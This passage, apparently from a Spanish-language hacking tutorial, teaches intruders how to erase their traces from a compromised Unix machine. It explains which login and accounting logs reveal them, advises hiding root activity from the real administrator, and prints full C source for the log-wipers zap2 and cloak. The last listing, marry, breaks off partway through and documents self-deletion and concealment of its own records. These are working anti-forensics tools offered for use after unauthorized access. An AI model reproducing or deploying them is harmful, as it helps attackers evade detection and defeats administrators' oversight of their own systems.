  9709.         Ademas de esto, se ha de tener en cuenta que muchas veces lo que
  9710.   hagamos en la maquina creara ficheros en el /tmp por lo que habra que darse
  9711.   una vuelta por alli antes de salir de la maquina y borrar si hemos generado
  9712.   algo... identificaremos rapidamente lo ke hemos generado nosotros por el
  9713.   propietario de los ficheros.
  9714.  
  9715.         En fin, todo lo explicado hasta ahora es suponiendo que no hemos
  9716.   conseguido root, pero si pillamos el root, casi siempre podremos borrar
  9717.   todas las huellas aunque tambien hemos de tener mas cuidado ya que si no
  9718.   las borramos bien y el verdadero root entra a la maquina y ve que alguien
  9719.   hizo modificaciones como root un dia que el no estuvo (y que estuvimos
  9720.   nosotros), se mosqueara bastante y le dara que pensar.... y posiblemente te
  9721.   pille o cambie las cuentas del sistema o haga cualquier cosa.
  9722.  
  9723.         La idea es que si entramos como login pepito, el root no puede saber
  9724.   si pepito es realmente pepito o no y no tiene manera de comprobarlo pero
  9725.   sin embargo el root si que sabe aproximadamente que dias se conecto por lo
  9726.   que si al hacer un last ve que se conecto por ejemplo el jueves 24 de enero
  9727.   y resulta que ese dia estaba con la novia...... pensando llegaria a la
  9728.   conclusion de que alguien entro a la maquina como root...... asi la
  9729.   conclusion es que cuando nos hagamos root hay que tener cuidado en borrar
  9730.   las huellas (este tipo de cosas puede parecer obvio pero siempre es bueno
  9731.   recordarlas no?). Tambien hay que tener en cuenta que si entras como user
  9732.   normal y ejecutas un xploit, en la mayoria de los casos tu uid no sera el
  9733.   de root pero tendras privilegios de root por lo que el root haciendo un
  9734.   last no detectara que ha entrado alguien kon privilegios de root.. aunke se
  9735.   puede dar kuenta por otros detalles.
  9736.  
  9737.         En fin, los logs mas importantes son:
  9738.  
  9739.         UTMP - Indica quien esta conectado en cada momento.
  9740.  
  9741.         WTMP - Indica todas las entradas y salidas de la maquina victima
  9742.   indicando el tty y el host.
  9743.  
  9744.         LASTLOG - Guarda un log indicando el momento exacto en el que se
  9745.   conecto el usuario por ultima vez.
  9746.  
  9747.         ACCT - Guarda todos los comandos ejecutados por los usuarios (aunque
  9748.   sin argumentos) y como os podreis imaginar eso se hace un log enorme en un
  9749.   rato por lo que no suele estar activo, pero siempre hay que tener en cuenta
  9750.   que puede estar activo y que es una putada porque logea todo lo que haces.
  9751.   En general, la mayoria de los zappers tienen opciones para borrar el acct asi
  9752.   ke no hay problemas. De todos modos, zhart (thc) hizo un programa ke sirve
  9753.   para borrar las huellas del acct ke esta bastante bien y ke lo puedes
  9754.   enkontrar en la red :)
  9755.  
  9756.         Y estan ubicadas en los siguientes directorios:
  9757.  
  9758.         UTMP : /etc o /var/adm o /usr/adm o /usr/var/adm o /var/log
  9759.  
  9760.         WTMP : /etc o /var/adm o /usr/adm o /usr/var/adm o /var/log
  9761.  
  9762.         LASTLOG :  /usr/var/adm o /usr/adm o /var/adm o /var/log
  9763.  
  9764.         ACCT :   /var/adm/acct ( en algunos sistemas se puede llamar pacct )
  9765.  
  9766.         Para borrar estas huellas, se puede usar el zap2 que lo adjunto ya que
  9767.   es muy usado aunque si lo usas has de saber que puede ser detectado
  9768.   facilmente con distintos programas ya que no borra tus huellas sino que las
  9769.   sustituye por ceros y ademas no borra el acct por lo que es mejor que uses
  9770.   el cloak que pondre a continuacion.
  9771.  
  9772.         En ambos codigos, tendras que poner la ubicacion exacta del utmp,
  9773.   wtmp, lastlog y en su caso acct que podras encontrar en uno de los
  9774.   directorios que he comentado anteriormente o simplemente los buscas con
  9775.   find / -name nombre.
  9776.  
  9777.         Bien, aqui va el zap2 cuyo uso es zap2 nombredeusuario :
  9778.  
  9779. ------------ Codigo Fuente ---------------------------------------------------
  9780.  
  9781. #include <sys/types.h>
  9782. #include <stdio.h>
  9783. #include <unistd.h>
  9784. #include <sys/file.h>
  9785. #include <fcntl.h>
  9786. #include <utmp.h>
  9787. #include <pwd.h>
  9788. #include <lastlog.h>
  9789. #define WTMP_NAME "/usr/adm/wtmp"
  9790. #define UTMP_NAME "/etc/utmp"
  9791. #define LASTLOG_NAME "/usr/adm/lastlog"
  9792.  
  9793. int f;
  9794.  
  9795. void kill_utmp(who)
  9796. char *who;
  9797. {
  9798.     struct utmp utmp_ent;
  9799.  
  9800.   if ((f=open(UTMP_NAME,O_RDWR))>=0) {
  9801.      while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
  9802.        if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
  9803.                  bzero((char *)&utmp_ent,sizeof( utmp_ent ));
  9804.                  lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
  9805.                  write (f, &utmp_ent, sizeof (utmp_ent));
  9806.             }
  9807.      close(f);
  9808.   }
  9809. }
  9810.  
  9811. void kill_wtmp(who)
  9812. char *who;
  9813. {
  9814.     struct utmp utmp_ent;
  9815.     long pos;
  9816.  
  9817.     pos = 1L;
  9818.     if ((f=open(WTMP_NAME,O_RDWR))>=0) {
  9819.  
  9820.      while(pos != -1L) {
  9821.         lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
  9822.         if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
  9823.           pos = -1L;
  9824.         } else {
  9825.           if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
  9826.                bzero((char *)&utmp_ent,sizeof(struct utmp ));
  9827.                lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
  9828.                write (f, &utmp_ent, sizeof (utmp_ent));
  9829.                pos = -1L;
  9830.           } else pos += 1L;
  9831.         }
  9832.      }
  9833.      close(f);
  9834.   }
  9835. }
  9836.  
  9837. void kill_lastlog(who)
  9838. char *who;
  9839. {
  9840.     struct passwd *pwd;
  9841.     struct lastlog newll;
  9842.  
  9843.      if ((pwd=getpwnam(who))!=NULL) {
  9844.  
  9845.         if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
  9846.             lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
  9847.             bzero((char *)&newll,sizeof( newll ));
  9848.             write(f, (char *)&newll, sizeof( newll ));
  9849.             close(f);
  9850.         }
  9851.  
  9852.     } else printf("%s: ?\n",who);
  9853. }
  9854.  
  9855. main(argc,argv)
  9856. int argc;
  9857. char *argv[];
  9858. {
  9859.     if (argc==2) {
  9860.         kill_lastlog(argv[1]);
  9861.         kill_wtmp(argv[1]);
  9862.         kill_utmp(argv[1]);
  9863.         printf("Zap2!\n");
  9864.     } else
  9865.     printf("Now...that was as bad as shit!\n");
  9866. }
  9867.  
  9868. ------------ FIN -------------------------------------------------------------
  9869.  
  9870.         Bien, ya he puesto el zap2.. ahora pongo el cloak que es el que hay
  9871.    que usar ya que borra mejor las huellas y ademas se encarga del acct:
  9872.  
  9873. ------------ Codigo Fuente ---------------------------------------------------
  9874.  
  9875. /*
  9876.  *      C L O A K
  9877.  *
  9878.  *      Wrap yourself in a cloak of darkness (heh heh heh).
  9879.  *
  9880.  *      Michael S. Baldwin,  Matthew Diaz  1982
  9881.  *
  9882.  *      Marcus J. Ranum - 1983 - complete re-write and munging
  9883.  *      added more options, and all kinds of evil - including the
  9884.  *      ability to vanish from wtmp and acct as well as utmp. Added more
  9885.  *      error checking and useful command syntax. Now you can attribute
  9886.  *      all *YOUR* CPU usage to others when playing hack !!!
  9887.  *
  9888.  */
  9889.  
  9890.  
  9891. #include <stdio.h>
  9892. #include <sys/types.h>
  9893. #include <utmp.h>
  9894. #include <pwd.h>
  9895. #include <lastlog.h>
  9896. #include <sys/file.h>
  9897. #include <sys/acct.h>
  9898.  
  9899. /* set these guys. If you're sysV a port should be easy */
  9900. #define UTMP    "/etc/utmp"
  9901. #define WTMP    "/usr/adm/wtmp"
  9902. #define LAST    "/usr/adm/lastlog"
  9903. #define ACCT    "/usr/adm/acct"
  9904.  
  9905.  
  9906. main(ac,av)
  9907. int     ac;
  9908. char    *av[];
  9909. {
  9910.         char    *tp     = "";
  9911.         char    *un     = "";
  9912.         char    *hn     = "";
  9913.         char    *pn     = "";
  9914.         long    newt    = 0L;
  9915.         int     wflg    = 0;
  9916.         int     aflg    = 0;
  9917.         int     refs    = 1;
  9918.         int     x;              /* klunch */
  9919.         char    *p;
  9920.         extern  char    *index();
  9921.         extern  time_t  time();
  9922.  
  9923.         for(x = 1; x < ac; x++) {
  9924.                 if(av[x][0] == '-')
  9925.                         switch(av[x][1]) {
  9926.             case 'u':       /* username to be :-) */
  9927.                                         if((x + 1) < ac)
  9928.                                                 un = av[++x];
  9929.                                         break;
  9930.  
  9931.                                       case 't':    /* tty slot to be on :-) */
  9932.                                         if((x + 1) < ac)
  9933.                                                 tp = av[++x];
  9934.                                         break;
  9935.  
  9936.                                       case 'h':   /* host name to be on :-) */
  9937.                                         if((x + 1) < ac)
  9938.                                                 hn = av[++x];
  9939.                                         break;
  9940.  
  9941.                                       case 'r':   /* # of refs to zap :-) */
  9942.                                         if((x + 1) < ac)
  9943.                                                 refs = atoi(av[++x]);
  9944.                                         break;
  9945.  
  9946.                       case 's':
  9947.                                         execl("/bin/sh","sh",0);
  9948.                                         perror("exec");
  9949.                                         exit(1);
  9950.  
  9951.                                       case 'w':    /* vanish from wtmp, too */
  9952.                                         wflg++;
  9953.                                         break;
  9954.  
  9955.                                       case 'a':    /* vanish from acct, too */
  9956.                                         aflg++;
  9957.                                         break;
  9958.  
  9959.                                       case 'p':/* specific program for acct */
  9960.                                         if((x + 1) < ac)
  9961.                                                 pn = av[++x];
  9962.                                         break;
  9963.  
  9964.                       case 'l':       /* log on time */
  9965.                                         if((x + 1) >= ac)
  9966.                                                 break;
  9967.                                         newt = atoi(p = av[++x]);
  9968.                                         if(p = index(p,':'))  {
  9969.                                                 newt *= 60;
  9970.                                                 newt += ((newt > 0) ? 1 : -1)*
  9971. atoi(++p);
  9972.                           }
  9973.                                         newt *= 60;
  9974.                                         newt += time((long *)0L);
  9975.                                         break;
  9976.  
  9977.                       default:
  9978.                                         exit(usage());
  9979.                       }
  9980.  
  9981.           }
  9982.  
  9983.         if(wflg && wtmpzap(tp,un,hn,newt,refs))
  9984.                 perror(av[0]);
  9985.  
  9986.         if(aflg && acctzap(un,pn))
  9987.                 perror(av[0]);
  9988.  
  9989.         if(utmpzap(tp,un,hn,newt)) {
  9990.                 perror(av[0]);
  9991.                 exit(1);
  9992.           }
  9993.  
  9994.         if(lastzap(tp,un,hn,newt)) {
  9995.                 perror(av[0]);
  9996.                 exit(1);
  9997.           }
  9998.  
  9999.         exit(0);
  10000.       }
  10001.  
  10002. utmpzap(tt,un,hn,tim)
  10003. char    *tt;
  10004. char    *un;
  10005. char    *hn;
  10006. long    tim;
  10007. {
  10008.         int     fd;
  10009.         int     slot;
  10010.         struct  utmp    ubuf;
  10011.         extern  time_t  time();
  10012.         extern  char    *strncpy();
  10013.         extern  long    lseek();
  10014.  
  10015.         if((slot = ttyslot()) == 0) {
  10016.                 (void)fprintf(stderr,"No tty slot");
  10017.                 return(-1);
  10018.           }
  10019.  
  10020.         if((fd = open(UTMP,O_RDWR)) == -1 )
  10021.                 return(-1);
  10022.  
  10023.         if(lseek(fd,(long)(slot * sizeof(ubuf)),0) < 0) {
  10024.                 (void)close(fd);
  10025.                 return(-1);
  10026.           }
  10027.  
  10028.         if(read(fd,(char *)&ubuf,sizeof(ubuf)) != sizeof(ubuf)) {
  10029.                 (void)close(fd);
  10030.                 return(-1);
  10031.           }
  10032.  
  10033.         if(tim)
  10034.                 ubuf.ut_time = tim;
  10035.         else
  10036.                 ubuf.ut_time = time((long *)0L);
  10037.  
  10038.         (void)strncpy(ubuf.ut_name,un,sizeof(ubuf.ut_name));
  10039.  
  10040.         if(!tt[0] == '\0')
  10041.                 (void)strncpy(ubuf.ut_line,tt,sizeof(ubuf.ut_line));
  10042.                 (void)strncpy(ubuf.ut_host,hn,sizeof(ubuf.ut_host));
  10043.  
  10044.         if(lseek(fd,(long)(-sizeof(ubuf)), 1) < 0) {
  10045.                 (void)close(fd);
  10046.                 return(-1);
  10047.           }
  10048.  
  10049.         if(write(fd,(char *)&ubuf,sizeof(ubuf)) != sizeof(ubuf)) {
  10050.                 (void)close(fd);
  10051.                 return(-1);
  10052.           }
  10053.  
  10054.         return(close(fd));
  10055.       }
  10056.  
  10057. wtmpzap(tt,un,hn,tim,refs)
  10058. char    *tt;
  10059. char    *un;
  10060. char    *hn;
  10061. long    tim;
  10062. int     refs;
  10063. {
  10064.         int     fd;
  10065.         char    *p;
  10066.         char    tbuf[40];
  10067.         struct  utmp    ubuf;
  10068.         extern  char    *strncpy();
  10069.         extern  char    *strcpy();
  10070.         extern  char    *rindex();
  10071.         extern  char    *ttyname();
  10072.         extern  long    lseek();
  10073.         extern  time_t  time();
  10074.  
  10075.         if((p = ttyname(0)) != NULL)
  10076.                 (void)strcpy(tbuf,p);
  10077.         else
  10078.                 return(0);
  10079.  
  10080.         /* figure out our device name */
  10081.         p = rindex(tbuf,'/');
  10082.         if(p == NULL)
  10083.                 p = tbuf;
  10084.         else
  10085.                 p++;
  10086.  
  10087.  
  10088.         if((fd = open(WTMP,O_RDWR)) == -1 )
  10089.                 return(-1);
  10090.  
  10091.         if(lseek(fd,0L,2) < 0)
  10092.                 return(-1);
  10093.  
  10094.  
  10095.         /* this is gross, but I haven't a better idea how it can */
  10096.         /* be done - so who cares ? */
  10097.  
  10098.         while(refs) {
  10099.                 if((lseek(fd,(long)(-sizeof(ubuf)),1)) < 0) {
  10100.                         (void)close(fd);
  10101.                         return(0);
  10102.               }
  10103.  
  10104.                 if(read(fd,(char *)&ubuf,sizeof(ubuf)) != sizeof(ubuf)) {
  10105.                         (void)close(fd);
  10106.                         return(0);
  10107.               }
  10108.                 if(!strcmp(p,ubuf.ut_line)) {
  10109.                         if(tim)
  10110.                                 ubuf.ut_time = tim;
  10111.                         else
  10112.                                 ubuf.ut_time = time((long *)0L);
  10113.  
  10114.                         (void)strncpy(ubuf.ut_name,un,sizeof(ubuf.ut_name));
  10115.                         (void)strncpy(ubuf.ut_host,hn,sizeof(ubuf.ut_host));
  10116.  
  10117.                         if(!tt[0] == '\0')
  10118.  
  10119. (void)strncpy(ubuf.ut_line,tt,sizeof(ubuf.ut_line));
  10120.  
  10121.                         if(lseek(fd,(long)(-sizeof(ubuf)),1) < 0) {
  10122.                                 (void)close(fd);
  10123.                                 return(0);
  10124.                   }
  10125.  
  10126.                         if(write(fd,(char *)&ubuf,sizeof(ubuf)) !=
  10127. sizeof(ubuf)){
  10128.                                 (void)close(fd);
  10129.                                 return(0);
  10130.                   }
  10131.  
  10132.                         if(lseek(fd,(long)(-sizeof(ubuf)),1) < 0) {
  10133.                                 (void)close(fd);
  10134.                                 return(0);
  10135.                   }
  10136.  
  10137.                         refs--;
  10138.    }
  10139.  
  10140.                 if(lseek(fd,(long)(-sizeof(ubuf)),1) < 0) {
  10141.                         (void)close(fd);
  10142.                         return(0);
  10143.    }
  10144.  
  10145.    }
  10146.  
  10147.         return(close(fd));
  10148.    }
  10149.  
  10150. acctzap(un,pn)
  10151. char    *un;
  10152. char    *pn;
  10153. {
  10154.         int     fd;
  10155.         int     faku =0;
  10156.         int     realu;
  10157.         struct  acct    actbuf;
  10158.         struct  passwd  *pwt;
  10159.         extern  struct  passwd  *getpwnam();
  10160.  
  10161.         if((fd = open(ACCT,O_RDWR)) == -1 )
  10162.                 return(-1);
  10163.  
  10164.         realu = getuid();
  10165.  
  10166.         if(un[0] != '\0' && ((pwt = getpwnam(un)) != NULL))
  10167.                 faku = pwt->pw_uid;
  10168.  
  10169.         while(1) {
  10170.                 if(read(fd,(char *)&actbuf,sizeof(actbuf)) != sizeof(actbuf)){
  10171.                         (void)close(fd);
  10172.                         return(0);
  10173.               }
  10174.  
  10175.                 if(realu == actbuf.ac_uid) {
  10176.  
  10177.                         /* only zap a specific program to user */
  10178.                         if(pn[0] != '\0' && strcmp(pn,actbuf.ac_comm))
  10179.                                 continue;
  10180.  
  10181.                         actbuf.ac_uid = faku;
  10182.                         actbuf.ac_flag &= ~ASU;
  10183.                         if(lseek(fd,(long)(-sizeof(actbuf)),1) < 0) {
  10184.                                 (void)close(fd);
  10185.                                 return(0);
  10186.                   }
  10187.  
  10188.                         if(write(fd,(char *)&actbuf,sizeof(actbuf)) !=
  10189. sizeof(actbuf)){
  10190.                                 (void)close(fd);
  10191.                                 return(0);
  10192.                   }
  10193.               }
  10194.           }
  10195.       }
  10196.  
  10197. usage()
  10198. {
  10199. #ifdef USAGE
  10200.         (void)fprintf(stderr,"usage: cloak <options>\n");
  10201.         (void)fprintf(stderr,"options are:\t-l <+->hh:mm (login time)\n");
  10202.         (void)fprintf(stderr,"\t\t-u username\t\t\t-t ttyname\n");
  10203.         (void)fprintf(stderr,"\t\t-w (clobber wtmp)\t\t-r #of refs to
  10204. clobber\n");
  10205.         (void)fprintf(stderr,"\t\t-h host\t\t-a (clobber accounting)\n");
  10206.         (void)fprintf(stderr,"\t\t-p program (attribute only program to
  10207. acct)\n");
  10208.         (void)fprintf(stderr,"(no args causes a simple vanishing act)\n");
  10209. #endif
  10210.         return(1);
  10211.       }
  10212.  
  10213. lastzap(tt,un,hn,tim)
  10214. char    *tt;
  10215. char    *un;
  10216. char    *hn;
  10217. long    tim;
  10218. {
  10219.         int     fd;
  10220.         int     uid;
  10221.         struct  lastlog lbuf;
  10222.         extern  time_t  time();
  10223.         extern  char    *strncpy();
  10224.         extern  long    lseek();
  10225.  
  10226.         uid = getuid();
  10227.  
  10228.         if((fd = open(LAST,O_RDWR)) == -1 )
  10229.                 return(-1);
  10230.  
  10231.         if(lseek(fd,(long)(uid * sizeof(lbuf)),0) < 0) {
  10232.                 (void)close(fd);
  10233.                 return(-1);
  10234.           }
  10235.  
  10236.         if(read(fd,(char *)&lbuf,sizeof(lbuf)) != sizeof(lbuf)) {
  10237.                 (void)close(fd);
  10238.                 return(-1);
  10239.           }
  10240.  
  10241.         if(tim)
  10242.                 lbuf.ll_time = tim;
  10243.         else
  10244.                 lbuf.ll_time = time((long *)0L);
  10245.  
  10246.         if(!tt[0] == '\0')
  10247.                 (void)strncpy(lbuf.ll_line,tt,sizeof(lbuf.ll_line));
  10248.         (void)strncpy(lbuf.ll_host,hn,sizeof(lbuf.ll_host));
  10249.  
  10250.         if(lseek(fd,(long)(-sizeof(lbuf)), 1) < 0) {
  10251.                 (void)close(fd);
  10252.                 return(-1);
  10253.           }
  10254.  
  10255.         if(write(fd,(char *)&lbuf,sizeof(lbuf)) != sizeof(lbuf)) {
  10256.                 (void)close(fd);
  10257.                 return(-1);
  10258.           }
  10259.  
  10260.         return(close(fd));
  10261.       }
  10262. }
  10263.  
  10264. ------------ FIN -------------------------------------------------------------
  10265.  
  10266.         Ademas de estos, habria ke mencionar otros como el wipe, marry,
  10267.   remove, clean, etc... algunos de los kuales estan bastante bien. Adjunto
  10268.   tambien el marry ya ke ofrece algunas posibilidades interesantes y se usa
  10269.   bastante (borra tambien acct):
  10270.  
  10271. ------------ Codigo Fuente ---------------------------------------------------
  10272.  
  10273. /*marry v1.1 (c) 1991 -- Proff -- proff@suburbia.apana.org.au,
  10274.  *All rights reserved.
  10275.  *
  10276.  *May there be peace in the world, and objectivity amoung men.
  10277.  *
  10278.  *You may not use this program for unethical purposes. 
  10279.  *
  10280.  *You may not use this program in relation to your employment, or for monetary
  10281.  *gain without express permission from the author.
  10282.  *
  10283.  * usage:  
  10284.  * marry [-aetsuScDn] [-i src] [-o obj] [-d dump] [-p pat] [-v pat] [-m [WLA]]
  10285.  *         [-E editor] [-h program] [-b backup ]
  10286.  *
  10287.  *   -a     automode, dump, run editor over dump and re-assemble to object
  10288.  *   -e     edit source, assemble directly to input file, imples no insertion
  10289.  *          of records before an equal quantity of deltion
  10290.  *   -t     truncate object to last line of dump source when assembling
  10291.  *   -s     squeeze, delete all record in input not occuring in dump
  10292.  *          (higher entries in input will be appended unless -t is also 
  10293.  *          specified)
  10294.  *   -u     when in [L]astlog mode do user-id -> name lookups (time consuming)
  10295.  *   -S     Security, when in [A]cct and -[a]uto mode replace editor's acct
  10296.  *          record with an unmodified random previous entry, detach from 
  10297.  *          terminal, SIGKILL ourselves or execlp [-h program] to hide our
  10298.  *          acct record (marry should be exec'ed under these circumstances)
  10299.  *   -c     clean, delete backup and dump files once complete
  10300.  *   -D     Delete our self once complete (i.e argv[0])
  10301.  *   -n     no backups, don't make backups when in -e, -a modes or when
  10302.  *          -i file == -o file
  10303.  *   -i src input, the utmp, wtmp, lastlog or p/acct file concerned. defaults
  10304.  *          o the system wtmp/lastlog/pacct depending on mode if not specified
  10305.  *   -o obj output, the dump assembled and input merged version of the
  10306.  *          above. if given and not in -[a]uto mode, implies we are 
  10307.  *          assembling, not dumping. 
  10308.  *   -d dump  dump, the dump (editable representation of src) file name. this
  10309.  *            is is either an input (-o specified) an output (no -o) or both
  10310.  *            -[a]uto. defaults to "marry.dmp" in the current directory if not
  10311.  *            specified
  10312.  *   -p pat  pattern match. When disassembling (dumping), only extract records
  10313.  *           which match (checked against all string fields, and the uid if
  10314.  *           the pattern is a valid username)
  10315.  *   -v pat    inverse pattern match. like egrep -v. above non-logic features.
  10316.  *   -m mode   mode is one of:
  10317.  *
  10318.  *            W  -  utmp/wtmp (or utmpx/wtmpx see UTMPX #define)
  10319.  *                      L  -  lastlog
  10320.  *                      A  -  acct/pacct
  10321.  *  
  10322.  * -E editor  editor to be used in -[a]uto mode. defaults to /usr/bin/vi. must
  10323.  *            be the full path in -[S]ecurity mode (we do some clever
  10324.  *            symlinking)
  10325.  * -h program hide, if -S mode is on, then attempt to conceal our acct entry
  10326.  *            by execlp'ing the specified program. this seems to work on BSD
  10327.  *            derived systems. with others, your might want to just call marry
  10328.  *            something innocous.
  10329.  *   -b backup  name of backup file, defaults to "marry.bak"
  10330.  * 
  10331.  *   the following instruction codes can be placed in position one of the dump
  10332.  *   lines to be assembled (e.g "0057a" -> "=057a"):
  10333.  *
  10334.  *   '='    tag modification of entry. 
  10335.  *   '+'    tag insertion of entry
  10336.  *
  10337.  * Examples:
  10338.  *
  10339.  * $ marry -mW -i /etc/utmp -s -a  # dump, edit, re-assemble and strip deleted
  10340.  *                                 # entries from utmp
  10341.  *  
  10342.  * $ marry -mL -u -a -n -e        # dump lastlog with usernames, edit, make no
  10343.  *                                # backups and re-assemble in-situ directly to
  10344.  *                                # lastlog
  10345.  *
  10346.  * $ marry -mW -a -p mil -E emacs     # dump all wtmp entries matching "mil", 
  10347.  *                                      edit
  10348.  *                              # with emacs, re-assemble and re-write to wtmp
  10349.  *
  10350.  * $ exec marry -mA -SceD         # dump all acct entries by root, edit, 
  10351.  *                                        remove
  10352.  * -h /usr/sbin/in.fingerd       # editor's acct record, re-assemble directly
  10353.  * -p root -a -i /var/account/acct  # to acct in-situ, delete backup and dump
  10354.  *                                    file,
  10355.  *                               # delete ourself from the disk, unassign our
  10356.  *                               # controling terminal, and lastly overlay our
  10357.  *                               # self (and thus our to be acct record) with
  10358.  *                               # in.fingerd
  10359.  */
  10360.  
  10361. #define UTMP
  10362. #undef UTMPX /* solaris has both */
  10363. #define LASTLOG
  10364. #define PACCT
  10365.  
  10366. #include <stdio.h>
  10367. #include <unistd.h>
  10368. #include <stdlib.h>
  10369. #include <string.h>
  10370. #include <sys/types.h>
  10371. #include <sys/time.h>
  10372. #include <sys/stat.h>
  10373. #include <sys/wait.h>
  10374. #include <fcntl.h>
  10375. #include <signal.h>
  10376. #include <pwd.h>
  10377. #include <grp.h>
  10378. #include <errno.h>
  10379.  
  10380. #ifdef __SVR3
  10381. #  include <getopts.h>
  10382. #endif
  10383. #ifndef bsd
  10384. #  if defined(__NetBSD__) || defined(bsdi) || defined(BSDI) || 
  10385. defined(__386BSD__)
  10386. #    define bsd
  10387. #  endif
  10388. #endif
  10389.  
  10390. #if !defined(gcc)
  10391. #  define NO_VOID /* non gcc, early compiliers */
  10392. #endif
  10393.  
  10394. #ifndef __SVR3
  10395. extern char *optarg; 
  10396. #endif
  10397.  
  10398. #ifdef NO_VOID
  10399. #  define VOID int
  10400. #  define FVOID
  10401. #else 
  10402. #  define VOID void
  10403. #  define FVOID void
  10404. #endif
  10405.  
  10406. #ifndef bool 
  10407. #  define bool char
  10408. #endif
  10409.  
  10410. #define match(a,b) (match_s((a), (b), sizeof(a)))
  10411.  
  10412. #ifdef UTMP
  10413. #ifdef UTMPX
  10414. #  include <utmpx.h>
  10415. #  define S_UTMP utmpx
  10416. #  define UT_HOST ut_host
  10417. #  define UT_ID ut_id
  10418. #  define UT_TYPE ut_type
  10419. #  define UT_PID ut_pid
  10420. #  define UT_TV ut_tv
  10421. #  ifdef _PATH_WTMPX
  10422. #    define WTMP_FILE _PATH_WTMPX
  10423. #  else
  10424. #    ifdef WTMPX_FILE
  10425. #      define WTMP_FILE WTMPX_FILE
  10426. #    else
  10427. #      define WTMP_FILE "/usr/adm/wtmpx"
  10428. #    endif
  10429. #  endif
  10430. #else
  10431. #  include <utmp.h>
  10432. #  define S_UTMP utmp
  10433. #  ifndef WTMP_FILE
  10434. #    ifdef _PATH_WTMP
  10435. #      define WTMP_FILE _PATH_WTMP
  10436. #    else
  10437. #      define WTMP_FILE "/usr/adm/wtmp"
  10438. #    endif
  10439. #  endif
  10440. #  if !defined(ut_name) && !defined(ut_user)
  10441. #    define ut_user ut_name
  10442. #  endif
  10443. #  if defined(linux) || defined(bsd) || defined(sun)
  10444. #    define UT_HOST ut_host
  10445. #  endif
  10446. #  ifdef linux
  10447. #    define UT_ADDR ut_addr
  10448. #  endif
  10449. #  define UT_TIME ut_time
  10450. #  if defined(linux) || defined(solaris)
  10451. #    define UT_PID  ut_pid
  10452. #    define UT_ID   ut_id
  10453. #  endif
  10454. #  if defined(linux) || defined(solaris) || defined(sysv) || defined(SYSV) || 
  10455. defined(SVR4)
  10456. #    define UT_TYPE ut_type
  10457. #  endif
  10458. #endif
  10459. #endif
  10460.  
  10461. #ifdef LASTLOG
  10462. #  ifdef bsd
  10463. #    ifndef UTMP
  10464. #      include <utmp.h>
  10465. #    endif
  10466. #  else
  10467. #    include <lastlog.h>
  10468. #  endif
  10469. #  ifndef LASTLOG_FILE
  10470. #    ifdef _PATH_LASTLOG
  10471. #      define LASTLOG_FILE _PATH_LASTLOG
  10472. #    else
  10473. #      define LASTLOG_FILE "/usr/adm/lastlog"
  10474. #    endif
  10475. #  endif
  10476. #  define LL_HOST ll_host
  10477. #endif
  10478.  
  10479. #ifdef PACCT
  10480. #  include <sys/acct.h>
  10481. #  ifdef bsd
  10482. #    define PACCT_FILE "/var/account/acct"
  10483. #  else
  10484. #    define PACCT_FILE "/usr/adm/pacct"
  10485. #  endif
  10486. #endif
  10487.  
  10488. #ifdef UT_ADDR
  10489. #  include <arpa/inet.h>
  10490. #endif
  10491.  
  10492. FILE *ofh, *ifh, *afh;
  10493.  
  10494. #ifdef UTMP
  10495. struct S_UTMP s_utmp;
  10496. #endif
  10497. #ifdef LASTLOG
  10498. struct lastlog s_lastlog;
  10499. #endif
  10500. #ifdef PACCT
  10501. struct acct s_acct;
  10502. struct acct ac_saved;
  10503. int acct_step;
  10504. #endif
  10505. char ac_comm_hide[32];
  10506.  
  10507. struct passwd *uid;
  10508. struct passwd uid_s;
  10509. char **uida=NULL;
  10510. char **gida=NULL;
  10511.  
  10512. #define MAX_UID 65537
  10513.  
  10514. char *quotes="\"\"";
  10515.  
  10516. int globline=0;
  10517.  
  10518. char *a_Input=NULL;
  10519. char *a_Output=NULL;
  10520. char *a_Pattern=NULL;
  10521. char *a_Hide=NULL;
  10522. #ifdef sun
  10523. char *a_Editor="/usr/ucb/vi";
  10524. #else
  10525. char *a_Editor="/usr/bin/vi";
  10526. #endif
  10527. char *a_Dump="marry.dmp";
  10528. char *a_Backup="marry.bak";
  10529. bool f_Auto=0;
  10530. bool f_Squeeze=0;
  10531. bool f_EditSrc=0;
  10532. bool f_Truncate=0;
  10533. bool f_Exclude=0;
  10534. bool f_Uid=0;
  10535. bool f_Security=0;
  10536. bool f_Clean=0;
  10537. bool f_DeleteSelf=0;
  10538. bool f_NoBackups=0;
  10539. bool f_backedup;
  10540. char mode;
  10541.  
  10542. int mode_size=0;
  10543. void *mode_data;
  10544.  
  10545. int globline;
  10546. char *mes;
  10547. time_t otime=0;
  10548. FVOID display()
  10549. {
  10550. static int n;
  10551. time_t t;
  10552.     globline++;
  10553.     if (n++<30) return; /* don't want too many context switches */
  10554.     n=0;
  10555.     time(&t);
  10556.     if (t<(otime+1)) return;
  10557.     otime=t;
  10558.     printf("%s%d\r", mes, globline);
  10559.     fflush(stdout);
  10560. }
  10561. FVOID display_end()
  10562. {
  10563.     printf("%s%d\n", mes, globline);
  10564.     fflush(stdout);
  10565. }
  10566.  
  10567. #ifdef NO_VOID
  10568. char
  10569. #else
  10570. void
  10571. #endif
  10572. *
  10573. Smalloc(n)
  10574. int n;
  10575. {
  10576. #ifdef NO_VOID
  10577. char
  10578. #else
  10579. void
  10580. #endif
  10581. * p;
  10582.     while (!(p=malloc(n))) sleep(1);
  10583.     return p;
  10584. }
  10585.  
  10586. bool copyf(src, dst)
  10587. char *src;
  10588. char *dst;
  10589. {
  10590. #define CBUFLEN 128*1024
  10591. int fi, fo;
  10592. char *buf;
  10593. int cc;
  10594.     if ((fi=open(src, O_RDONLY, 0))<0)
  10595.     {
  10596.         perror(src);
  10597.         exit(1);
  10598.     }
  10599.     if ((fo=open(dst, O_WRONLY|O_CREAT|O_TRUNC, 0666))<0)
  10600.     {
  10601.         perror(dst);
  10602.         exit(1);
  10603.     }
  10604.     buf=Smalloc(CBUFLEN);
  10605.     while ((cc=read(fi, buf, CBUFLEN))>0)
  10606.         if (write(fo, buf, cc)!=cc)
  10607.         {
  10608.             perror(dst);
  10609.             exit(1);
  10610.         }
